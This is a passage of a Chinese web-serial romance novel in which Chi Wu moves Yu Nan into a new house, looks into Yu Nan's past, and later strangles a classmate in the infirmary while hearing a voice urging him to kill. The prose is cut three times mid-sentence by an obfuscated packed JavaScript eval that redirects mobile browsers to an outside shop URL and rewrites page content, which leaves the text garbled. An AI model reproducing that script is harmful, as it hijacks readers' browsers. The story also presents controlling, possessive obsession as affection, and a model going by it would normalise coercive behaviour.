他得让于南搬得远远的。 谁也别想再靠近于南。 迟雾又扫了眼九月三。 这狗不行。 于南都被捆起来了,它还不知道叫。 得换个聪明点儿的狗。 再买十只藏獒栓在家门口吧。 谁再不怀好意地靠近于南,就把谁咬烂。 九月三莫名往于南怀里缩了缩。 于南缓慢地给它顺着毛。 前方的路开的格外的顺,房子买在这片偏远的地带,也是迟雾特意交代的,就是为了缩小人群干扰,只要有人靠近,就立即锁定。 买的是栋小别墅。 挺奇怪的,宽敞的客厅,五六个堆放着崭新练习册的杂物间,几乎把市面上能看见的习题册都摞进去了,但偏偏就是只有一个窄小的卧室,床榻被安置在最里面,旁边还贴心地放了个缩小版的床充作狗窝。 避免于南喂狗的时候还要特意出去。 但又很鸡贼的在隔壁罗列着练习册的书架中央又安了个一模一样的狗窝,要是办正事儿了,也方便把九月三清扫出去。 衣柜里还挂了几件衣服,一部分是按着迟雾的尺寸,一部分是按着于南的尺寸。 至于这尺寸是怎么来的,都是上辈子迟雾悄悄用手量的,他摸遍了于南身上的所有骨头,趁着他睡着的时候。 迟雾塞给于南一把钥匙,“家里的钥匙。” 为了防止于南弄丢后就不回家了,他让人配了好些把,一天丢一把都能丢上一个月。 钥匙圈压在掌心沉甸甸的,于南从上头卸下一把放在兜里,而后把其余的一并放在门口鞋架上。 他说:“一把就够了,不会丢的。” 迟雾就像是管被人压挤出来的颜料,肆意发散着思想,将一切其余颜色都归揽到自己覆盖的区域内,他想,这是不是代表于南无论如何都会回到这个有他俩的家。 他觉得他可以这样想。 于南不是个小气鬼,不会在意的。 迟雾又替他递上拖鞋。 很贴心。 两人的拖鞋是一样款式不同颜色。 像情侣款。 迟雾看着两人脚上拖鞋,满意地笑了下。 人类一小步,恩爱一大步。 至于九月三,它爪子踩在地板上,左瞧右瞧。 大大的家,小小的狗。 迟雾找出特意买的狗粮和狗零食,喂了它一把。 九月三摇着尾巴奔过去。 大大的家,大大的狗。 于南站在旁边,看着迟雾喂狗时温顺的表情,不自觉地扬起嘴角,他的视线停留在迟雾的脸上。 房子里几乎挥散不去的新木味以及还没来得及散开的熏香味都在提醒他这个房子里的一切都是刚刚安置的,包括一切家具都崭新得毫无使用痕迹。 家是什么。 迟雾以前躺在他怀里的时候问过他这个问题。 那时候的他说,是避风的房子。 迟雾说,开门的时候风总会溜进去的。 现在风外头刮,他们在里头。 于南也蹲下身,在九月三的另一侧看它吃东西。新奇的狗零食被九月三咬得嘎嘣直响。 迟雾挪动着身子,贴到于南身边。 他说:“洗个澡吧?去去寒气。” 34. 第 34 章 迟雾蹲在浴室门口,视线紧盯着磨砂玻璃后那道模糊的黑影,开始恨自己粗心大意,他怎么就没交代一句浴室玻璃要全透明的呢。 现在水雾往上一覆,更是什么都看不出来。 迟雾手里抓着准备一会儿递给于南的浴袍和睡衣,打算让他自己选穿哪个出来,但自己又早早准备着,给身上套了件最轻薄的夏季款睡衣,短袖短裤,盯仔细点儿,还能看见睡衣贴在身上时候凸起来的骨头。 万一于南睡觉的时候把他当娃娃来抱,保住能发现他的身材比布娃娃好多了。 他的骨头都比别人好看。 迟雾觉得自己特自恋,当然,仅限于在于南面前。因为上辈子于南总是夸他,好像在他眼里,他就是个哪哪都好的标准比例,别人轻易比不上。 其实于南才是最好的那个,他身上的骨头才是最漂亮的,迟雾想舔舔,还想咬一咬,像狗咬骨头一样,但他是人,他能一辈子只守着这一根骨头,保证忠贞。 里面的淋浴声停了。 迟雾立马出声:“我拿了浴袍和睡衣,你要穿哪个?” “睡衣吧。”玻璃门被推开条缝隙,里面伸出来支白皙的胳膊,水珠还顺着往地上砸。 迟雾把睡衣放到他手上。 于南捏了下,“棉的?” “嗯。” 迟雾自己穿薄的,给于南拿的却是加棉的,怕他被吓着之后晚上会发烧,穿厚点儿方便捂汗。 见于南准备收回胳膊,他又叫了声:“还有。” 迟雾递过去个小布料。 内裤。 和他身上穿这个也是情侣款的。 于南出来后,迟雾就一直盯着他的腰看,像是这么一直盯着,就能盯得上面冒出来个内裤边边似得。 注意到他的视线,于南放下擦头发的浴巾,问:“怎么了?” 迟雾这才迟缓地收回视线,说:“没什么。” 于南又问:“你不洗澡吗?” 迟雾说:“洗。” 他也不顾忌着于南,当即就扯着衣摆往下脱,睡衣被他随手放到一旁,手又摸上了裤腰,见于南没有出去的意思,甚至不躲不避地就那么看着自己的动作,他反倒是先扭捏了下,不好意思往下脱了。 再脱。 于南就看见情侣内裤了。 迟雾腆着脸往下扒裤腰,刚露出个边,于南就转过身往外走。这下迟雾反倒愣了下。 他也下意识跟着往外走。 于南生气了? 还是觉得他的身材没什么看头? 迟雾的手顺势往小腹一摸,肌肉线条都还在,不至于真成骷髅兵,于南怎么就走了。 于南听见他的脚步声,扭头一看,“不洗了?” 迟雾张张嘴,不知道该怎么问,只能收住话头,视线往旁边一瞥,说:“浴室有点儿冷,我来拿个外套。” 而后,他佯装不经意地走到于南前头,一手拿起搭着的外套,身子还故意稍微佝偻着,绷紧腹部肌肉,睡裤松松垮垮地挂在小腹处,露出欲隐欲现的人鱼线,末端彻底隐在睡裤下。 于南的视线在上面一扫,也顺带着把该看的不该看的都看了个大概。那睡裤太薄,几乎遮不住什么。 迟雾确保他看全了,才悠悠回了浴室,门也要关不关地留了条缝,淋浴洒下来的水还顺着那条罅隙往外缓慢地流淌,而后被门前的厚地毯拦截住。 他的身体也时不时从那条门缝闪过。 浴室里还是温热的,全是于南洗澡时留下的热气,一片沐浴露的香气将迟雾彻底包裹在内。 泡沫涂抹全身,他和于南留下了同样的味道。 香的。 迟雾洗完澡出去的时候,发现于南正坐在阳台的小摇椅上抽烟。窗户打开着,风吹刮散还没成形的烟雾。 于南的视线透过那层模糊正对上迟雾的眼。 迟雾朝浴室看了眼。 行吧。 于南那个位置应该什么都看不见。 迟雾的头发湿着,他走到于南身边。 他准备的实在太过充分,房子里连烟灰缸都备上了,全都是瓷的、颜色艳丽的款式,像是势必要把于南这个浅色的人拉扯到浓烈的世界里去一样。 于南手边的烟灰缸里已经落了点儿烟灰,他刚准备把烟掐了,就听迟雾说:“于南,你第一次抽烟是什么时候啊。” 迟雾蹲在他脚边,也不嫌呛,凑得很近。 于南想了想,说:“挺小的时候。” 顿了顿,他又补充了句:“因为那时候家里没什么止疼药,但是住的地方特别乱,门口有挺多没抽到底的烟头,为了止疼,就开始学着那些烟鬼,姿态狰狞地抽烟。” 他又笑,“后来到孤儿院里,就被人说那样特别丑,还给了我一板止疼药。” 迟雾没听他说过这些,只觉得特别心疼。 他朝于南伸了伸手。 于南一怔,又笑,“干什么。” 他试探着把手搭上去。 迟雾抓住他的手后,又伸出另一只手去抢他手里夹着的烟。于南没躲,看着他的动作。 迟雾却仔细盯着那支燃到一半的烟看了数秒,而后在烟尾巴火星被风吹得像要灭了那刻把它轻轻咬住,缓缓一吸。 他像是很有天赋,没被呛到,甚至有样学样地往下压着雾气,过了肺,清淡的烟草味贯穿身体。 迟雾说:“假的,根本不止疼。” 他把烟掐灭到烟灰缸里,又站起身,牵着于南往卧室走。 于南顺着他牵引的力道坐到床边。 迟雾再次蹲下,仰头问:“于南,你哪疼,我给你揉揉。” 他当然知道自己比不上止疼药,但是药三分毒,于南从小就疼,从小就吃止疼药,不知道被毒了多少分,他先给他揉揉,揉得好受些了,再吃半片止疼药,能少吃就少吃。 于南盯着他那双眼睛。 觉得,这人他这辈子都逃不过。 于南抬手摸了摸他的脑袋,动作很轻。 迟雾问:“手疼吗?” 这个不能揉,伤口揉了就更疼了。 他认命地准备起身找止疼药,却被于南勾住小拇指。 “不疼。”于南说:“我困了,睡觉吧。” 迟雾观察了下他脸上表情,问:“真不疼?” 于南说:“真不疼。” 迟雾又辨别了番,确认他不是在说谎,方才放下心,说:“我去吹头发,吹完了就来,你先进被窝。” 于南却说:“我帮你吹吧。” 迟雾迟疑了一秒。 头发被吹起来的时候,可能会很丑。 但又想想,上辈子于南连他光头都不嫌弃。 但是这辈子他在于南面前还是有头发的呀! 总要留点儿面子吧。 迟雾也就犹豫一秒,果断点头答应。 和于南亲密接触的机会,拒绝了就是傻逼。 于南的动作很轻,吹风机的暖风拢在两人中央,暖烘烘一片,动作之间,于南的身体还不时贴上迟雾的后背。 迟雾几乎藏不住心思,身子往后倾了又倾,最后直到整个身子都倾靠在于南身上,他才没再得寸进尺,就此维持着这个姿势。 知道吹完头发那刻,迟雾还有些恋恋不舍的。 于南把吹风机收起来。 两人一起上了床,迟雾把灯关上。 只有一个枕头。 迟雾特谦让地让了出去,“你枕着吧。” 黑暗中。 于南将枕头放置在床的中央,“我俩一……..” 话没说完。 迟雾的脑袋就压上去:“好的。” 被褥下,迟雾的胳膊往于南身侧贴,贴到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于南抽出只手,缓慢地转过身,以同样的方式将他环抱住,不过他的胳膊要更加用力。 两个人彻底抱在一起。 于南的手慢慢地在他后背拍了拍,像哄小孩儿似的,他轻声喃喃:“别怕。” 怕什么? 迟雾愣了愣,才反应过来。 于南是怕他做噩梦吗。 他居然还记得。 迟雾不知该作何想法了。 这样的于南…….. 本来他因为能贴在一起睡,已经觉得满足,但现在贪婪的本性又开始吞噬他,他又觉得如今触及的一切都远远不够,他想让于南把他身体每一寸都打上“于南”这两个字的标签,想让噩梦里也处处留有于南的痕迹,误打误撞地窥见可继续掠夺的境地后,他就想要继续吞下更多、拥有更多。 如果世界是道密不透风的网,迟雾希望他是因为于南而窒息。 想得到更多,却不知从何入手。 就像狗想吞掉珍贵的骨头。 片刻后。 于南拍着迟雾后背的动作停住了。 就在迟雾以为他睡着了那刻,他挪动了下脑袋,在迟雾唇上吮吻了下。 于南的声音很低,他叫他名字。 “迟雾。” “……..” 迟雾像是撞破了道惊天大秘密般。 于南亲他了? 主动亲他了? 原来为了安慰他不怕噩梦就会主动亲他?? 迟雾恨不得给床上自己两巴掌给自己扇醒。 亲回去啊! 睡这么早干什么啊! 草啊草啊草啊!!! 迟雾猛掐自己人中。 怎么还不醒啊草啊!!! 35. 第 35 章 第二天被闹钟叫醒。 迟雾满脸沧桑地盯着天花板。 于南也被闹钟一并吵醒,坐起来,看了眼时间,“要去上学了吗。” 迟雾扭头盯着他,眼神里莫名带着点儿心如死灰那味,他说:“于南,我做噩梦了。” 于南掀被子的动作一顿。 他问:“又梦到孤儿院了?” “没。”迟雾抬手比划着说:“是超级大噩梦。” 于南看着他,等他接着往下说。 但话止于此,迟雾揪过被子,把整个脑袋都罩住,也罩住自己一阵哀嚎。 幸福的人不晚睡。 他早睡了,也不幸福。 问就是很后悔。 于南等着他嚎完,才掀开被子。 他把迟雾从被窝里捞起来,问:“梦到昨天的事了?” 撞到那种稍显血腥残暴的景象,确实容易做噩梦,于南把迟雾揽到怀里,调整着肩膀的高度,确保他能将脑袋压在自己的肩膀上,才伸手轻缓地抚了抚迟雾的后背,轻声说:“别怕,以后不会有了。” 以后会用更温和的方式,来接近你。 迟雾顺势伸出胳膊将他牢牢抱住,像个蜜袋鼬一样抓牢自己的主人,他把脸埋在颈窝里,深吸了口两人身上如出一辙的香气,才闷闷地说:“有点儿怕,能再安慰安慰我吗。” 最好是把昨天晚上那个吻重新上演一遍。 最好是在此基础上再扎一剂猛药。 伸舌头吧。 好像不行。 还没刷牙。 嘴里是苦的。 算了,那就嘴唇贴嘴唇吧。 先吃一点点甜头。 刷完牙再继续。 于南却只是维持着替他抚背的动作,小声说:“不怕了,不怕了。” 迟雾抬起脑袋,试探着小声问:“然后呢?” 于南的手停顿一秒,他有些摸不准迟雾究竟想要什么,思忖着问:“要吃糖果吗?家里好像没有。” “算了。”迟雾也没继续纠结这件事,缓慢地用下巴蹭了蹭于南的肩骨,边蹭边低声说。 “于南,咱俩商量个事儿行吗。” “什么?” “以后我睡得特别死的话,你就把我叫起来重睡。” “……..” 于南迟疑着“嗯”了一声。 迟雾又抱了他一会儿,感觉上课快赶不及了才从床上爬起来,简单洗漱了番。 早餐有人送上门。 迟雾还是陪着于南把早餐给吃了,毕竟这是俩人一起吃的第一顿饭。都说牵住一个男人的心就要先牵住他的胃,虽说菜不是迟雾做的,他也不会这么精细的活儿,但他陪着于南吃些好吃的东西,四舍五入也算是取悦了他的胃吧? 但可能是因为昨天晕那么一遭,加上断药后引发的一连串反应,迟雾的味觉也跟着浅了下去,舌尖始终是麻的,吃饭全过程味同嚼蜡,只能机械性地牵扯着齿关咀嚼。 他只能盯着于南,观察他的用餐习惯,像临时抱佛脚一样,试图用这短短一餐摸清于南的部分偏好。 于南被他看得不明所以,问:“不对口味?” “没,就是不太饿。”迟雾给于南夹了两筷子他刚才一直在吃的那道菜,就把筷子放下了。 送过来的吃食洋洋洒洒摆满了一桌,九月三趴在桌腿旁吃着狗粮,不时偷摸抬眼往餐桌上看一眼,迟雾喂了它个火腿肉,它就尾巴摇得特欢,一点儿不见咬人时的凶相。 迟雾心想,还摇尾巴呢,哪天我就要牵回来十只藏獒和你竞争岗位了,多练练吧。 九月三无端狗躯一震。 时间不早。 迟雾说:“我去上课了。” 于南应声:“好。” 迟雾边朝门口走,边胡乱套上校服外套,一手顺势往外掏兜里掏,掏出来药盒,从里面扣出来两片药,像咬谁骨头似的,也不嫌苦了,就那么耸拉着眼皮,把药片往天上一抛,张嘴一接—— 就这么接住了。 他硬把药片嚼成嘎嘣响,像吃糖一样,然后在大门关上那刹彻底破功—— “呕。” 迟雾被苦得干呕了下。 装帅是门技术活,显然他练的还不到位。 “迟雾……..” 迟雾皱巴的脸还没来得及收,门就被从里面推开。于南看见他那狰狞的表情错愕了下,手里递手机的动作也稍微停顿,他话却没收住:“你的手机忘拿了……” “……..” 苏贺年看着迟雾那黑的跟棺材底的脸,欠嗖嗖地把脸凑近,“迟雾,你昨晚用芝麻当面膜用了?有点儿掉色啊。” 迟雾没理他,低着头玩手机,上面还是张民杨的资料界面,最开头一行甚至有张不知多少年前留存的张民杨的老照片,照片里他胡茬满脸,头发应当有段时间没打理,尾端有些打结,发色黑得泛灰,看起来像个被偷拍的拾荒者,从他肩骨上侧露出的少许背景能依稀辨认出是在一个堆满垃圾的破街道里。 他半眯着眼睛,视线飘忽,肩骨稍微向上端着,明显是被人桎梏着小臂的姿态,像是被人突然逮到后还没来得及反应就被相机的聚光灯一闪——定格在了这张照片里。 讨债的拍的? 有点儿像。 苏贺年也凑过来看他手机。 窗外操场上学生正成群结队地打闹,时高时低的喧嚣声不时顺着风飘过来,迟雾坐在窗台上,背对玻璃窗,佝偻着腰,苏贺年这么一挤上来,脑袋一怼,就给他撞得脑袋“嗡”了一下。 苏贺年像是长了个铁脑袋,也不觉得疼,撞上去之后反倒像条铁鱼似得丝滑一挤,就把迟雾挤得被迫后仰着身子。 苏贺年仔细看了两眼手机上的内容,就笑:“你不是嫌弃查人资料这手法太冷漠吗,怎么自己还用上了,这好像还是查的……..” “张民杨?”苏贺年夺过来手机,把脑袋收回去,蹙眉盯着屏幕,视线快速掠过行行句句。 迟雾掌根抵着被撞得没知觉的脑壳,不重不轻地揉了两下,嗓音清淡:“对待罪犯冷漠点儿没什么。” 苏贺年却像聋耳鬼似得,没什么反应,兀自盯着那份资料上下翻看,直到看到地步,他方才脸色不大好看地机械式地一毫毫扭转过脑袋,看着迟雾,脸色难看得像另一尊埋了更久的破棺材。 迟雾和他对上视线,问:“哪儿不对劲?” 迟雾重新拿回来手机,先说了几点通过一早上排查研究后自己觉得不大对劲的地方,他手指划动了下资料,将里面一行字扩放到最大。 〔于南醉酒,试图报复养父,对其实施暴力殴打,由于酒精麻痹神经而失去对力度的控制,张民杨另一条完好的一条腿被打折,并且警方到达后还在现场发现了沾血的匕首刀,经过对比,上面的血是张民杨的,伤口就在其腰腹处,长三厘米,深四毫米。〕 “如果于南有刀,且在醉酒到连力度都无法控制的地步,怎么会只是在腰腹处留下个这么浅的伤口?而且在这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199150|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其容易毙命的部位,于南稍微踉跄一下,这把刀可能就被插进腹部皮肉下了,张民杨也不会单单只是断只腿那么简单。”迟雾有条不紊地说:“而且苏贺年,如果是你——” “你被养父领养,却被虐待羞辱多年,你已经犯下确定要入狱的罪孽,可能未来几年要在监狱里度过,你现在手里有把刀,而且酒精麻痹大脑,面对过去苦难的最大施加者,你第一反应是不是会选择用这把刀彻底报了过去的仇?” 苏贺年神情复杂道:“会。” 当日子苦到一定程度后,希望被彻底蠹蚀,人也就会变得无所顾忌,法与信仰成了最廉价的东西,因为他们没得到过正向回应,只能选择负向抨击。 这种情况下,大部分人都会选择彻底解脱,无论□□层面还是精神层面。 显然这种戛然而止放在一个“醉酒者”的身上是诡异的,他哪来的足够的理智逼迫自己停手,又或者他还未来得及下更重的手就醉晕了? 那都到了醉晕的地步,他哪来的基本判断能力来精准地找到张民杨的新住处,并且敲门、以清晰的条理要求对方开门,并在张民杨开门时巧妙地隐藏住自己身上浓重刺鼻的酒精味。 迟雾又将手指下划,放大另一段话。 〔于南入狱后,张民杨还清债务,一人生活,洒脱自在。〕 “一人。”迟雾说:“他的另一个养子不见了。” “到哪去了呢。”迟雾蹙眉对着屏幕光亮翻翻找找,逐个字眼排查,却一无所获。 这另一个养子只在最初被提起,之后便完全隐身,甚至是销声匿迹。 是他在这个家里完全扮演了一个隐形人,还是资料没查到他的有关信息? “隐形人”率先排除。 张民杨这样一个人不会放任一个孩子在自己手下当个吃喝供足、冷暖不愁的隐形人。 窗外的树杈被风压得砉然折断。 “啪”得一声摔落,茂密的枝叶一霎遮住光亮。 教室内暗了几分。 迟雾半张脸埋在阴暗处,垂着眼却不显温顺,只觉冷然。 迟雾又问:“你当初查的资料是什么样的?” 苏贺年掏出手机,解锁,翻到那份资料,而后将手机递给迟雾。 这份资料要简短得多,甚至连迟雾手里那份的十分之一都没到,而其中内容更是精简得不能再精简,如同被人横刀劈斩后残余下来的一小部分。 里面的内容则更模糊,分辨不出任何具有导向意味的信息。 苏贺年犹豫半晌,拢着的眉头像是在辨别什么荒谬的引语。迟雾看了眼他那吃屎了的表情,问:“你想再查一遍?” “怎么可能。”苏贺年当即道:“再查一遍也是这样,没什么意义,你这份资料是谁查的,简凌姐?” “嗯。”迟雾还在低头查看资料。 苏贺年这些年查过不少,几乎接触到的这个圈子之外的人他都要先查份资料来做保险,因此他也太知道两份资料之中一旦信息出现了深浅之差,也就意味着其中一方被团雾迷了眼,而另一方则能拨开这道雾。 至于为什么能拨开,一是有人引路,二则是他本来就知道这条路该怎么走。 一是以“被引导者”的身份。 二是以“放雾者”的身份。 苏贺年揉了揉太阳穴,到底还是没说。 这只是简单的猜测。 苏贺年转而说了另一个—— “温程安也曾经有一个养父,也叫张民杨。” 36. 第 36 章 这句话像一道开水狠浇下来,让人的皮肉都被烫得开始层层皱缩萎蔫。 迟雾迟缓地转动眸子,身子也随之偏转。 他和苏贺年对上视线。 这是什么意思? …….. 那—— 温程安就是那所谓的另一个养子? 那么温程安为什么要跟踪于南。 为了给张民杨报三年前的仇,还是提醒于南小心张民杨? 迟雾又想起温程安也住在北边那一片。 也就是说,当时和于南住在一起的男生很有可能就是他,哪怕并非如此,温程安居住在那附近,也有很大一部分可能是因为于南。 一旦把这意料之外的身份牌沾到温程安身上,再推理下来,好像一切都瞬间变得顺畅合理。 那么小土又是谁。 是于南口中的那个孤儿院里的弟弟吗? 他很像小土。 于南是因为小土才接受他的靠近吗。 他是一个主动送上门的替身吗。 思绪一瞬乱起来。 迟雾觉得脑袋成了灌满热水的铁壶,被烧得瞬间膨胀后又快速被一通冷水劈头盖脸地浇灌,而后干瘪得挤出里面让他一阵疼痛的热水,但水被挤出去了,疼痛却还在。一道道剧烈的疼如同鞭挞凌迟,剥削着迟雾视野里固定的方寸清明。 手机掉落到地上摔出“啪”得一声。 迟雾双手抱着脑袋蜷缩作一团,试图将腿贴合到胸膛前,却直接从窗台上掉下去,脑袋在椅背的铁架上磕了下,而后一路斜摔,重重地砸到地上。 “啊……..” 连疼痛的声音都是从嗓子里挤出来的。 血滴到地上,被压在脸下。 疼痛到最后是无知无觉的麻木,身体却兀自持续着肌肉抽搐和颤抖。 “迟雾!” 苏贺年被这突如其来的一遭吓了一跳,连忙伸手去把他架起来,甚至都顾不上捡手机,直接就踹开教室门,不顾走廊中人潮错愕的眼神以及打量的神情,朝着医务室奔去。 “迟雾你他妈的简直应该给我买两罐蛋白粉,你要是再重点儿,我力气再小点儿,你晕这两次都保准是在地板上以躺尸状态度过的。”苏贺年气喘吁吁地用脚顶开校医室的门,指挥躺床上偷懒打牌的学生躲开,把迟雾放上去,才重重缓了口气。 苏贺年往一旁走了走,给校医让出位置,但视线却一直停留在迟雾身上。 血把整张脸都打湿,迟雾的视野成了扭曲的线条图,他脑袋里一切推理思绪都被打乱,嘴巴却下意识地喃喃:“于南……..小土……..” 苏贺年凑近他嘴边一听,简直想一嘴巴给他打醒了,他这到底是突然犯病了还是单纯他妈的一时没坐稳摔下去了,居然还有心思喊人于南的名。 迟雾的眼睛闭合不上,始终掀着一条缝,露出下头僵硬灰暗的瞳孔,人却彻底没了意识。 校医给他包扎了下脑袋,那一下撞得不轻,几乎全身的重量都控制着他的脑袋往铁架子上撞,皮肤表层甚至被那块儿锋利的铁片给剜下来一小块,虽然伤口看着狰狞可怖,但好在撞击上去后,身体顺势偏移着往下压,伤口的面积不大,用不着缝针。 但迟雾却始终昏沉着,清醒不过来。 他像是被拖进了地狱里去,里面没有鬼怪,却有看不见尽头的烈火岩浆,他被扔在里头来回灼烧,疼得他想要把自己的骨头咬断。但他把牙咬碎了也咬不到自己的骨头,他恍惚着感觉齿关被什么东西打开了,好像他真咬到了什么东西。 唇舌感受着那东西的温度和形状,像是手指,他的牙齿卡在手指最末处的指关节处,小兽般无意识地轻轻啃咬。 迟雾顺着那根手指去看它的主人,他好像看见了张脸,分辨不出五官,很陌生。 是谁? 那人用另一只手摸了摸他的脸。 很热,很烫,贴在皮肤上,比岩浆还让人疼。 迟雾感觉到光亮一寸寸地挤进来,他一点点地松开齿关,那个人却没走,而是就这么抱着他。 那道怀抱很紧,紧得好像谁也撬不开。 然后他听见一声—— “小土。” 迟雾噌地坐起来。 苏贺年正百无聊赖地用手指比对着输液管的长度,迟雾这么突然一起,输液管也跟着激烈抖动,冷不丁地把他吓了一跳。 “迟雾你真的很吓人。”苏贺年无语地说。 迟雾顺着声音扭头去看他,刚准备开口,就感觉自己嘴里好像还咬着什么,抬手一摸,就摸着个被折叠了好几层的干毛巾,朝上那层还被他咬出道明显的齿印。 原来他真咬着东西了。 不过不是手指,是厚毛巾。 苏贺年颇有良心地解释了句:“刚才你一直在那儿说梦话,叫了挺多人的名字,校医室人来人往的,为了保住你的名声,就先给你嘴巴堵上了。” “挺多人的名字?”迟雾重复了遍。 “嗯。”苏贺年早有准备地把手机扔到他怀里,扬扬下巴,“给你录音了,我贴心吧。”” 其实他是准备等迟雾说出什么秘密的时候就把录音私扣下来,等以后显得蛋疼的时候再把录音翻出来找乐子。 但显然,迟雾除了乱叫名字外,没说什么不该说的。 迟雾点开录音。 波纹在屏幕上起伏。 迟雾的视野被波纹晃得又开始昏花,他轻轻阖了阖眼,声音在耳边低低地响。 “……..…….” “……..南……..” 听筒声音放到最大,录音被迫附加了模糊的噪点音,搭配着鼻息浓郁的消毒水味,被混合出了不可言喻的意味。 “……..小土……” “……..温程……..” “…………..…..” “……..阿母……..” 两分半的录音,到这处,戛然而止。 “阿母?”苏贺年拿回手机,在呆愣的迟雾面前晃了晃手掌,确认他回过神才接着说:“你管伯母叫阿母啊,之前怎么没听你叫过?” 顿了顿,苏贺年又颇为稀奇地说:“‘阿母’这种叫法乍一听感觉怪别扭的,总觉得这样叫就显得敬比爱要多。” 迟雾怔怔地盯着他的脸。 苏贺年被他盯得发毛。 迟雾这小子不能砸着脑袋砸傻了吧? 苏贺年往后退了退,手摩挲着下巴,开始盘算做什么食谱来给迟雾补补脑。 等了好半晌。 迟雾还没反应。 苏贺年觉得这事儿真有点儿严重了。 迟雾不能成傻子了吧。 苏贺年竖起两根手指,问:“这是几。” 迟雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199151|150851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着那两根要弯不弯的手指头,没动,也没答。 苏贺年心一紧:“完了完了完了。” 他连忙往后退,“我回家给你准备补脑汤啊,你在这儿乖乖等着,我一会儿让温琳来陪你啊,你别乱动啊!” 苏贺年的身影远去。 校医从洁白帏帘后走出,但他没注意呆坐着的迟雾,而是直接往外走,像是急着去外边救临时出事的学生,手上拎着工具箱,急匆匆地走了。 脚踏出门,到底是道德规范勒使他又往回收了半步,探着头朝迟雾嘱咐了句:“如果脑袋疼得特别厉害就接着睡一觉,你这次大概率也是断药后遗症。” 说完,他彻底走了。 校医室重归死寂。 迟雾这才有了动作。 他缓慢地转过身,朝着遮挡在两张病床之间的帏帘看去。 死静垂直的白帏帘上隐隐能看见一团黑灰色的影子,那团影子一动不动,恍惚间像是不经意沾染上去的污渍。 药液顺着血管一点点输送到体内,属于液体的寒意也一寸寸将骨血敲开。 就像是物极必反的固定准则一样,极度昏沉迟钝过后就是过分的敏感。 迟雾明显听见了录音播放到“阿母”两个字时,隔壁床发出了极其微弱几不可闻的一道摇晃声。 而在苏贺年说出“你管伯母叫阿母”的时候,那张床又晃动了下,很轻,就像是人在以栽靠的姿势听什么故事的时候,听到了有趣的高潮部分,无意识地调整自己腰部发力以求将身子坐得更挺直些而导致的。 迟雾毫不犹豫地伸手掀开了帏帘。 “温程安。”他咬着字叫。 温程安的脸彻底暴露出来,他的脑袋上也被包扎上了层厚厚的纱布,不过脸色相较迟雾来说没那么苍白,反倒异常地挂着抹稍显诡异的笑。 他没问“怎么发现的”,而是说:“你叫了阿母,我听见了。” 如同恶魔的低语般,这声落下,他脸上的笑容也瞬间加深。 迟雾记起来梦里的那张脸是谁了。 就是温程安。 只不过那张脸更瘦更黑。 迟雾的视线下移。 他看见了—— 温程安的左手大拇指上,一圈已成疤痕的齿印,凹凸狰狞。 梦境与现实交错着在眼前闪过,此刻的脑袋反倒没被冲撞得发昏,反而是呈现一种诡异的空白,就像是被人生泼了桶惨白的油漆上去,遮盖住下面本应残留的一切色彩痕迹。 温程安说:“我就知道,你在骗于南。” 一把电锯在神经上来回割动。 之后发生的一切迟雾都没了记忆。 他只知道,温琳扯着他的衣领将他拉开时,他的双手死死掐着温程安的脖子,药柜的玻璃窗里倒映出的他的面容像只骇人恶鬼,而温程安脑袋上缠绕的纱布也因多次剧烈撞击再次散开。 血,地上全是血。 温程安朝他无声地叫—— “承认吧,你就是小土。” “一只惯会卖惨的狗。” 迟雾想掐死他,莫名的,没原由的。 体内另一只不知何时到来的恶鬼也在这么叫嚣着。 掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他,掐死他。 求求你,掐死他。 37. 第 37 章 这起打架斗殴……..不,是单方面殴打事件,就在校医室监控的正下方进行,全程都被记录下来,而相关的录像片段直接被发往了迟延宁的手里,至于温程安那边,也一并告知了温家。但录像到了谁手,有待商酌,不过温家那边无人出面,只有温琳全程跟随着。 迟雾和温程安一并被送去了医院。 迟雾觉得,可能是上辈子在医院里住了两年,导致他这辈子也从根里刻下了“和医院有缘”几个字,哪怕一时侥幸逃出去了,以后还是要被架回来。也不知道他之后会不会再生一场磨骨头的癌病,或许会吧,但他不想再尝那种滋味了。 太疼了,太丑了。 简凌来得也快。 甚至比当事人到的还要早。 温程安已经彻底昏厥过去,脑袋差点儿就真开了瓢,由此可见迟雾下手到底有多狠。 ICU外。 迟雾坐在走廊铁椅上,神情格外冷淡,像是还没从另一重世界里抓回属于自己的灵魂。 简凌处理着相关事宜,暂时没空查看他的情况。 迟雾双肘撑在膝盖上,摊开的掌心里都是干涸的血,他怔怔地看着那一片红。 在他动手的时候。 温程安的脑袋一遍遍磕砸在地板上的脆响就像是兴奋剂一样促使着他继续那样凶狠地砸下去,甚至他想停手的时候都觉得身体不再受自我意识的控制。 迟雾又想起李医生说的。 精神分裂。 他是吗。 那个让他掐死温程安的声音是从哪儿来的。 他自己就是这样想的吗。 他为什么要掐死温程安。 是停药导致的吗。 那药治疗的根本不仅仅是做噩梦这件小事,是吧? 